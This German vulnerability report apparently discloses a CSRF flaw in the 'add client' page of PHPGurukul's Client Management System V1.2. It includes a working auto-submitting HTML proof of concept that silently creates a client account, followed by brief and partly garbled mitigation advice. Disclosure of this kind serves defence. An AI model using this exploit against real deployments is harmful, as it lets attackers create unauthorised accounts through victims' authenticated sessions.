
Proof-of-Concept, der eine CSRF-Schwachstelle in einem PHP-basierten Client-Management-System demonstriert, mit HTML-Exploit-Code und Mitigationsstrategien für das Testen der Websicherheit.
Projektname & Repo-URL: https://phpgurukul.com/client-management-system-using-php-mysql/
Schwachstellenname: Cross-Site Request Forgery (CSRF)
Betroffene Version: V1.2
In der Funktion „Client hinzufügen“ des von PHPGurukul entwickelten Client-Management-Systems existiert eine Cross-Site-Request-Forgery (CSRF)-Schwachstelle. CSRF ist ein Angriff, bei dem ein authentifizierter Benutzer dazu verleitet wird, eine bösartige Anfrage an eine Webanwendung zu senden. Dies kann zu unbefugten Aktionen im Namen des Benutzers führen. In diesem Bericht zeigen wir, wie CSRF genutzt werden kann, um gefälschte Benutzer in einem Client-Management-System zu erstellen, und schlagen Abhilfemaßnahmen vor.
Melden Sie sich mit den bereitgestellten Anmeldedaten beim Client-Management-System an.



Unten ist der HTML PoC für den CSRF-Angriff:
<html>
<body>
<form action="http://localhost/clientms/admin/add-client.php" method="POST">
<input type="hidden" name="accounttype" value="Active Account" />
<input type="hidden" name="cname" value="moulimurugan" />
<input type="hidden" name="comname" value="kppr" />
<input type="hidden" name="address" value="vijayamangalam" />
<input type="hidden" name="city" value="erode" />
<input type="hidden" name="state" value="tamil" />
<input type="hidden" name="zcode" value="638026" />
<input type="hidden" name="wphnumber" value="968560710" />
<input type="hidden" name="cellphnumber" value="6931052465" />
<input type="hidden" name="ophnumber" value="9638560410" />
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="password" value="moulimurugan" />
<input type="hidden" name="websiteadd" value="clientmsdb" />
<input type="hidden" name="notes" value="Nil" />
<input type="hidden" name="submit" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>



Um CSRF-Angriffe zu verhindern, implementieren Sie die folgenden Maßnahmen:
SameSite=Strict oder SameSite=Lax.POST für sensible Aktionen und vermeiden Sie die Verarbeitung von GET-Anfragen mit Nebenwirkungen.Dieser Bericht zeigt, wie CSRF-Schwachstellen ausgenutzt werden können, um unbefugte Clients in einem Client-Management-System zu erstellen. Die Implementierung der vorgeschlagenen Abhilfemaßnahmen wird dazu beitragen, die Anwendung vor solchen Angriffen zu schützen.